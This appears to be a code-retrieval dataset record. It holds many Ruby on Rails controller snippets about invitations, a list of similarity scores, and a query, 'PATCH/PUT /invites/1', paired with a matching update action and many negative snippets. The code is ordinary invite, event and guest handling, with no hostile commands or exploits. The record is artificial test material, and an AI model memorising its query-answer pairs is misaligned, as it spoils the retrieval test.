"def create\n\n user = params[:user]\n \n #abort(\"user #{user}\")\n\n from_id = user[:fb_id]\n\n existing_fb_user = User.find_by_fb_id(from_id)\n\n if existing_fb_user\n \n user_invitations = user[:invitations]\n \n @invitations_array = []\n\n user_invitations.each do |inv|\n\n inv[:fb_id] = from_id\n inv[:is_accept] = false\n inv[:isPoints] = false\n\n\n @invitation = Invitation.new(inv)\n\n @invitations_array.push(inv) \n\n render :json => { :errors => @invitation.errors.full_messages } unless @invitation.save\n\n end\n\n Invitation.new.getInvitations(@invitations_array)\n\n else\n render :json => { :message => \"No user found\" }\n end\n \n end",
"def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end",
"def create\n @invite = NewInvite.new(invite_params, current_user)\n @invite.call\n respond_with @invite, location: wallet_path(id: invite_params[:wallet_id])\n end",
"def create\n @attr = params[:idea]\n puts \"----- idea.create #{current_user.inspect}\"\n @attr[:organizer] = current_user \n \n guest_emails = params[:email]\n if (guest_emails.nil?)\n arr_emails = []\n else\n arr_emails = guest_emails.split(\",\")\n end\n \n @idea = current_user.ideas.build(@attr)\n @idea.users << current_user\n \n arr_emails.each do |email|\n puts \"building invite #{email}\"\n invitee = Invite.new\n invitee.email = email\n puts \"Phone #{email}\"\n @idea.invites << invitee\n end\n \n host = request.host\n \n if (host =~ /localhost/i)\n host = request.host_with_port\n end\n \n respond_to do |format|\n if @idea.save\n @idea.invites.each do |invite|\n twilio(invite.email, @idea.id, host)\n end\n \n format.html { redirect_to(root_path, :notice => 'Idea was successfully created.') }\n format.xml { render :xml => @idea, :status => :created, :location => @idea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @idea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @invite_list = InviteList.new(params[:invite_list])\n\n respond_to do |format|\n if @invite_list.save\n format.html { redirect_to @invite_list, notice: 'Invite list was successfully created.' }\n format.json { render json: @invite_list, status: :created, location: @invite_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_invites\n @invites = GroupsController.group_invites current_user\n end",
"def create\n\t\tif !params[:add_invites].blank?\n\t\t\tUser.add_to_invitation_limit(params[:add_invites].to_i)\n flash[:notice] = \"Invitation limit updated.\"\n redirect_to admin_users_path\n else\n\t\t\tflash[:error] = \"There was a problem updating the invitation limit.\"\n redirect_to admin_invites_path\n\t\tend\n\tend",
"def create\n @invite_request = InviteRequest.new(invite_request_params)\n\n respond_to do |format|\n if @invite_request.save\n format.html { redirect_to @invite_request, notice: 'Invite request was successfully created.' }\n format.json { render :show, status: :created, location: @invite_request }\n else\n format.html { render :new }\n format.json { render json: @invite_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invite\n\t@micropost.add_to_invited(@invitee)\n\t\n\trespond_to do |format|\n\t\tformat.html { }\n\t\tformat.mobile { render json: {status: \"success\"} }\n\t\tformat.js { }\n\tend\n end",
"def post_user_invitation(email: nil, first_name: nil, last_name: nil, roles: [], provisioning_allowed: nil, all_apps_visible: nil)\n body = {\n data: {\n type: \"userInvitations\",\n attributes: {\n email: email,\n firstName: first_name,\n lastName: last_name,\n roles: roles,\n provisioningAllowed: provisioning_allowed,\n allAppsVisible: all_apps_visible\n }\n }\n }\n users_request_client.post(\"userInvitations\", body)\n end",
"def invited_users\n render json: @moot.list_users_can_vote\n end",
"def mass_create\n requests = []\n group_invite_params[:mass_requests].each do |element|\n requests << @current_user.requests_as_sender.new(:group_id => element[:group_id], :receiver_id => element[:receiver_id], :status => \"pending\")\n end\n\n @invites = Request.import requests\n\n if @invites\n render json: requests, status: :created\n else\n render json: requests.errors, status: :unprocessable_entity\n end\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def invite\n invite = params[:invite]\n profile.update_attribute(:email, invite[:email])\n invite = Notifier.send_invite(profile, invite[:message])\n invite.deliver\n flash[:notice] = \"An invititation to join YentaFriend was sent to #{profile.name}. Check your dashboard for an update when they join!\"\n end",
"def without_users_create\n response = params[:values].reduce({}) do |response, value|\n response[value[:id]] = UserInviter.new(\n self, User, current_user, Devise\n ).invite(value[:email], params[:resend_invitation])\n response\n end\n respond_to do |format|\n format.json { render :json => response.to_json }\n end\n end",
"def create\n @invitee = Invitee.new(params[:invitee])\n\t\t@invitee.user_account = current_user.user_account\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to invitees_url, notice: 'Invitee was successfully created.' }\n format.json { render json: @invitee, status: :created, location: @invitee }\n\t\t\t\tformat.js\n else\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n \n format.html { render action: \"new\" }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n end\n end\n end",
"def invite\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).invites << current_user\n redirect_to friends_path\n end\n end",
"def invite\r\n if request.post?\r\n @pi = PrivateInvite.new(params[:pi]) \r\n if @pi.email == User.find(session[:user_id]).email\r\n flash[:notice] = \"you are already listed\"\r\n redirect_to :back\r\n return \r\n end \r\n PrivateInvite.find_all_by_private_event_id(@pi.private_event_id).each do |p|\r\n if p.email == @pi.email\r\n flash[:notice] = \"#{@p.email}is already on the guest list\"\r\n redirect_to :back\r\n return \r\n end\r\n end\r\n \r\n @pi.invited_at = Date.today \r\n invite = Invitation.new\r\n invite.title = PrivateEvent.find(@pi.private_event_id).title\r\n invite.host_email = User.find(session[:user_id]).email\r\n invite.guest_email = @pi.email \r\n email = InvitationMailer.create_invite(invite)\r\n email.set_content_type(\"text/html\")\r\n @guest_list = PrivateInvite.find(:all)\r\n if @pi.save\r\n begin\r\n InvitationMailer.deliver(email) \r\n rescue\r\n @pi.destroy\r\n flash[:notice] = \"address not found\"\r\n end \r\n end \r\n end\r\n redirect_to :back\r\n end",
"def create\n @team_invite = TeamInvite.new(team_invite_params)\n respond_to do |format|\n if @team_invite.save\n format.html { redirect_to team_team_invites_url, notice: 'TeamInvite was successfully created.' }\n format.json { render :show, status: :created, location: team_team_invites_url }\n else\n format.html { render :new }\n format.json { render json: @team_invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @invites = Invite.all\n end",
"def create\n #create the guest\n @guest = Guest.new(guest_params)\n\n #save the guest and create the invitation\n if @guest.save\n @inv = Invitation.new()\n @inv.guest_id = @guest.id\n @inv.event_id = Event.find_by(id:request.headers['EventId'].to_s).id\n @inv.user_id = User.find_by(auth_token:request.headers['AuthorizationToken'].to_s).id\n else\n render json: @guest.errors, status: :unprocessable_entity\n end\n\n #save the invitation and return the guest\n if @inv.save\n render json: @guest, status: :created, location: @guest\n else\n render json: @inv.errors, status: :unprocessable_entity\n end\n end",
"def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end",
"def create\n @list_invite = ListInvite.new(list_invite_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @list_invite.save\n format.html { redirect_to lists_path, notice: 'List invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @list_invite }\n else\n format.html { render action: 'new' }\n format.json { render json: @list_invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invitee = Invitee.new(invitee_params)\n\n respond_to do |format|\n if @invitee.save\n format.html { redirect_to @invitee, notice: 'Invitee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invitee }\n else\n format.html { render action: 'new' }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end",
"def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end",
"def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end",
"def event_params\n params.require(:event).permit(:time, :location, :title, :description, :creator_id, invites: [])\n end",
"def index\n @list_invites = ListInvite.all\n end",
"def new_invites\n self.invites.all(:hide => false)\n end",
"def create\n @invite = current_dwelling.invites.new(params[:invite])\n if @invite.save\n # Mail a link to join the dwelling to the invitee.\n InviteMailer.invite(@invite, invites_url(@invite.token)).deliver\n end\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to dwelling_path(@invite.dwelling_id),\n notice: 'Invite was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def update\n @users = User.all\n respond_to do |format|\n if @event.update(event_params.except(:invites))\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end",
"def create\n @invite_status = InviteStatus.new(params[:invite_status])\n\n respond_to do |format|\n if @invite_status.save\n format.html { redirect_to @invite_status, notice: 'Invite status was successfully created.' }\n format.json { render json: @invite_status, status: :created, location: @invite_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accepted_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation.accepted\n .where('created_at > ?', since)\n .count\n respond_with json_response('accepted_invites', count)\n end",
"def invite(email, role, label_or_expression, value)\n muf = prepare label_or_expression, value\n\n invitation = {\n \"invitations\" => [ {\n \"invitation\" => {\n \"content\" => {\n \"email\" => email,\n \"userFilters\" => [ muf[:url] ],\n \"role\" => role\n }\n }\n } ]\n }\n pp invitation\n GoodData.post \"/gdc/projects/#{@project_id}/invitations\", invitation\n end",
"def index\n @invitees = Invitee.all\n end",
"def index\n @invitees = Invitee.all\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end",
"def invite(firm_name, firstname, lastname, email, phone)\n invite_params = vendor_params(firm_name, firstname, lastname, email, phone)\n @client.post(\"/#{@model}\", {}, invite_params)\n end",
"def create\n @invitation_request = InvitationRequest.new(invitation_request_params)\n\n respond_to do |format|\n if @invitation_request.save\n format.html { redirect_to root_path, notice: 'Invitation received. We will notify you soon!' }\n format.json { render :show, status: :created, location: @invitation_request }\n else\n @interests = Interest.all\n format.html { render :new }\n format.json { render json: @invitation_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end",
"def new\n @invite_list = InviteList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_list }\n end\n end",
"def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend",
"def new_invite\n if idea_posting.users.exists?(current_user.id)\n @joinrequest = Joinrequest.new\n respond_to do |format|\n format.html \n format.json {redirect_to @joinrequest}\n end\n end\n end",
"def invite_params\n params.require(:invite).permit(:email, :sender_id, :recipient_id, :token)\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n invited_users = InvitedUser.where(email: @user.email)\n invited_users.each do |invited_user|\n Message.create(sender_id: 1, receiver_id: invited_user.inviter.id, title: \"Your friend has just joined\", content: \"I have just joined to TennisBuddy World! Thank you for inviting me. #{@user.full_name}\")\n end\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.info('~log_invite: ' + invite_params.to_s)\n logger.info('~log_invite: ' + invite_params['reciever'])\n @invite = Invite.new(invite_params)\n @invite.sender = current_user.email\n @invite.accepted = false\n\n # check if target exists?\n invite_old = Invite.find_by(sender: current_user.email, reciever: invite_params['reciever'])\n invite_back = Invite.find_by(reciever: current_user.email, sender: invite_params['reciever'])\n\n logger.info('~log_no_old: ' + invite_old.nil?.to_s)\n logger.info('~log_no_back: ' + invite_back.nil?.to_s)\n\n ok = true\n\n ok = @invite.save if invite_old.nil?\n\n unless invite_back.nil?\n invite_back.accepted = true\n ok = (invite_back.save && ok)\n if invite_old.nil?\n @invite.accepted = true\n ok = (@invite.save && ok)\n else\n invite_old.accepted = true\n ok = (invite_old.save && ok)\n end\n end\n\n respond_to do |format|\n if ok\n format.html # { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @maintain_invite_user = Maintain::InviteUser.new(params[:maintain_invite_user])\n\n respond_to do |format|\n if @maintain_invite_user.save\n format.html { redirect_to @maintain_invite_user, notice: 'Invite user was successfully created.' }\n format.json { render json: @maintain_invite_user, status: :created, location: @maintain_invite_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @maintain_invite_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invite(invitation)\n client.post(\"workspaces/#{@id}/invite\", invitation: invitation) if persisted?\n end",
"def create\n count = Member.mass_invite!(params[\"MassInvite\"][\"emails\"])\n respond_to do |format|\n format.html { redirect_to new_member_path, notice: \"Yaay! Totalt #{count} invitasjoner ble sendt.\" }\n end\n end",
"def invite_params\n params.require(:invite).permit(:sender_id, :receiver_id, :token, :email, :list_id)\n end",
"def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end",
"def invite_params\n params.require(:invite).permit(:request_id, :state, :to_id, :user_id)\n end",
"def invite_resource\n resource_class.invite!(invite_params, current_inviter) do |invitable|\n invitable.company_id = current_user.company_id\n invitable.is_admin = true\n invitable.require_email = true\n invitable.save\n end\n end",
"def create\n @member=current_member\n @invitation=Invitation.new(params[:invitation])\n \n \n respond_to do |format|\n if @invitation.save\n @myevent.invitations << @invitation\n \n format.html { redirect_to event_invitations_path, :notice => 'Invitation was successfully sent to your friends email address.' }\n format.json { render :json => @invitation, :status => :created, :location => @invitation }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def resend_invite\n service_response = AdminManagement::AdminUser::Invite::Resend.new(params).perform\n render_api_response(service_response)\n end",
"def invite_params\n params.require(:invite).permit(:event_id, :user_id, :attendee_status)\n end"
] |
[
"0.69848865",
"0.6835423",
"0.665867",
"0.6657357",
"0.66251135",
"0.6613855",
"0.66080153",
"0.6599364",
"0.6599364",
"0.6599364",
"0.65854967",
"0.6575549",
"0.65548944",
"0.65405744",
"0.65033305",
"0.64781004",
"0.64531684",
"0.64299184",
"0.6427502",
"0.6420567",
"0.6420567",
"0.6420567",
"0.6420567",
"0.6420567",
"0.63681364",
"0.63386184",
"0.6263155",
"0.6263154",
"0.6209127",
"0.6123565",
"0.6102241",
"0.6099782",
"0.6089795",
"0.6074822",
"0.60601205",
"0.60532427",
"0.60088336",
"0.60085016",
"0.60060334",
"0.60012317",
"0.598974",
"0.59740573",
"0.5972263",
"0.5962795",
"0.5953667",
"0.5952631",
"0.59398025",
"0.59386677",
"0.5938587",
"0.59157",
"0.5907318",
"0.59059155",
"0.5897755",
"0.5896464",
"0.5895478",
"0.5884574",
"0.58766717",
"0.586757",
"0.5863742",
"0.5854111",
"0.58512753",
"0.58341205",
"0.5833954",
"0.5833299",
"0.58319324",
"0.5819994",
"0.58155304",
"0.5812806",
"0.57999015",
"0.5785688",
"0.5770446",
"0.57702905",
"0.5766703",
"0.5760771",
"0.57557493",
"0.5751477",
"0.57452625",
"0.5744329",
"0.5744329",
"0.5719664",
"0.5719664",
"0.5719664",
"0.5713457",
"0.57070005",
"0.5703317",
"0.5687728",
"0.5680725",
"0.5663056",
"0.56421196",
"0.563138",
"0.56258076",
"0.5621183",
"0.5616717",
"0.56068593",
"0.560631",
"0.55968404",
"0.5595846",
"0.55674624",
"0.55639577",
"0.5561314",
"0.5559897"
] |
0.0
|
-1
|
PATCH/PUT /invites/1 PATCH/PUT /invites/1.json
|
def update
respond_to do |format|
if @invite.update(invite_params)
format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @invite.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n format.html { redirect_to @invite, notice: (t 'invite.update') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to event_invites_url, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invited.update(invited_params)\n format.html { redirect_to @invited, notice: 'Invited was successfully updated.' }\n format.json { render :show, status: :ok, location: @invited }\n else\n format.html { render :edit }\n format.json { render json: @invited.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n flash[:notice] = 'Invite was successfully updated.'\n format.html { redirect_to(@invite) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n if @invite_status.update_attributes(params[:invite_status])\n format.html { redirect_to @invite_status, notice: 'Invite status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update\n respond_to do |format|\n if @inv.update(inv_params)\n format.html { redirect_to @inv, notice: 'Inv was successfully updated.' }\n format.json { render :show, status: :ok, location: @inv }\n else\n format.html { render :edit }\n format.json { render json: @inv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @users = User.all\n respond_to do |format|\n if @event.update(event_params.except(:invites))\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @invitations = args[:invitations] if args.key?(:invitations)\n end",
"def update\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n if @invitee.update_attributes(params[:invitee])\n format.html { redirect_to invitees_url, notice: 'Invitee was successfully updated.' }\n format.json { head :ok }\n\t\t\t\tformat.js\n else\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n \n \n format.html { render action: \"edit\"}\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n end\n end\n end",
"def edit\n @invite = Invite.find(params[:id])\n end",
"def update\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n if @invite_list.update_attributes(params[:invite_list])\n format.html { redirect_to @invite_list, notice: 'Invite list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invite_request = InviteRequest.find(params[:id])\n\n respond_to do |format|\n if @invite_request.update_attributes(params[:invite_request])\n flash[:notice] = 'InviteRequest was successfully updated.'\n format.html { redirect_to(@invite_request) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invite_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n if @invitee.update_attributes(params[:invitee])\n flash[:notice] = 'Invitee was successfully updated.'\n format.html { redirect_to(@invitee) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invitee.update(invitee_params)\n format.html { redirect_to @invitee, notice: 'Invitee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n\n respond_to do |format|\n if @maintain_invite_user.update_attributes(params[:maintain_invite_user])\n format.html { redirect_to @maintain_invite_user, notice: 'Invite user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @maintain_invite_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invite_request.update(invite_request_params)\n format.html { redirect_to @invite_request, notice: 'Invite request was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite_request }\n else\n format.html { render :edit }\n format.json { render json: @invite_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n @collection = Collection.find(params[:id])\n if params[:collection][:invite_only] && params[:invitations]\n @collection.invited_user_ids = params[:invitations][:user_ids] \n end\n @collection.assign_attributes(params[:collection])\n\n @collection.transaction do\n @collection.save!\n end\n\n render \"show\", handlers: [:rabl]\n \n rescue ActiveRecord::RecordInvalid => invalid\n render :json => @collection.errors.full_messages, status: 422\n end\n end",
"def update\n @gift = Gift.find(params[:id])\n\t@invitations = current_host.invitations\n\t@invite_hash = {}\n @invitations.each do |i| \n\t\t@invite_hash[\"#{i.party.name} | #{i.guest.name}\"] = i.id\n\tend\n\n respond_to do |format|\n if @gift.update_attributes(params[:gift])\n format.html { redirect_to(@gift, :notice => 'Gift was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @invitado = Invitado.find(params[:id])\n\n respond_to do |format|\n if @invitado.update_attributes(params[:invitado])\n format.html { redirect_to(@invitado, :notice => 'Invitado was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_invitations\n # user: nil is here to make sure invitations are linked only once\n invitations << Invitation.where(token: invitation_token, user: nil)\n end",
"def update\n respond_to do |format|\n if @invite.proces(confirmed_params, current_user)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = Invitation.find(params[:id])\n @invitation.update_attributes(params[:invitation])\n respond_with(@invitation)\n end",
"def update\n @invitations = Invitation.where(:specification_id => session[:specification_sel_id]).all\n \n @act.update(act_params)\n @act.docencia = params[\"doc\"]\n @act.investigacion = params[\"inv\"]\n @act.extension = params[\"ext\"]\n @act.apoyo = params[\"apoyoA\"]\n @act.responsable = @act.responsable.upcase\n @act.justificacion = @act.justificacion.upcase\n @act.providencia = @act.providencia.upcase\n respond_to do |format|\n if @act.save\n format.html { redirect_to @act, notice: 'Act was successfully updated.' }\n format.json { render :show, status: :ok, location: @act }\n else\n format.html { render :edit }\n format.json { render json: @act.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n inviter_mail = resource_params.delete \"invitermail\"\n \n accepted_inviter = resource_class.to_adapter.find_first(email: inviter_mail)\n \n # before inviting person gets credit for the new user: check if he is\n # really allowed to claim. Only certain vip users are allowed...\n if accepted_inviter && accepted_inviter.ability.can?(:invite, resource_class)\n self.resource = resource_class.accept_invitation!(resource_params) \n resource.invited_by = accepted_inviter\n else\n ## No discussion. User didn't have the right to invite, so show...\n flash[:error] = I18n.t(\"devise.invitations.no_authorized_inviter\")\n raise CanCan::AccessDenied\n end\n\n if resource.errors.empty?\n flash_message = resource.active_for_authentication? ? :updated : :updated_not_active \n set_flash_message :notice, flash_message\n sign_in(resource_name, resource)\n respond_with resource, :location => after_accept_path_for(resource)\n else\n respond_with_navigational(resource){ render :edit }\n end\n end",
"def update\n @invitacione = Invitacione.find(params[:id])\n\n respond_to do |format|\n if @invitacione.update_attributes(params[:invitacione])\n format.html { redirect_to @invitacione, :notice => 'Invitacione was successfully updated.' }\n\n else\n format.html { render :action => \"edit\" }\n\n end\n end\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, :notice => 'Invitation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invstatus.update(invstatus_params)\n format.html { redirect_to @invstatus, notice: 'Invstatus was successfully updated.' }\n format.json { render :show, status: :ok, location: @invstatus }\n else\n format.html { render :edit }\n format.json { render json: @invstatus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :manage, @invitee\n\n respond_to do |format|\n if @invitee.update\n if @invitee.role == Databank::UserRole::NETWORK_REVIEWER\n format.html { redirect_to \"/data_curation_network/accounts\", notice: \"Invitee was successfully updated.\" }\n else\n format.html { redirect_to @invitee, notice: \"Invitee was successfully updated.\" }\n end\n format.json { render :show, status: :ok, location: @invitee }\n else\n if @invitee.role == Databank::UserRole::NETWORK_REVIEWER\n edit_path = \"/data_curation_network/account/#{@invitee_id}/edit\"\n format.html { redirect_to(edit_path, notice: \"Error attempting to update invitee.\") }\n else\n format.html { render :edit }\n end\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = Invitation.with_token!(params[:id])\n\n authorize! @invitation\n\n @invitation.update_attributes(invitation_params)\n\n head 204\n end",
"def update!(**args)\n @invitations = args[:invitations] if args.key?(:invitations)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def set_invited\n @invited = Invited.find(params[:id])\n end",
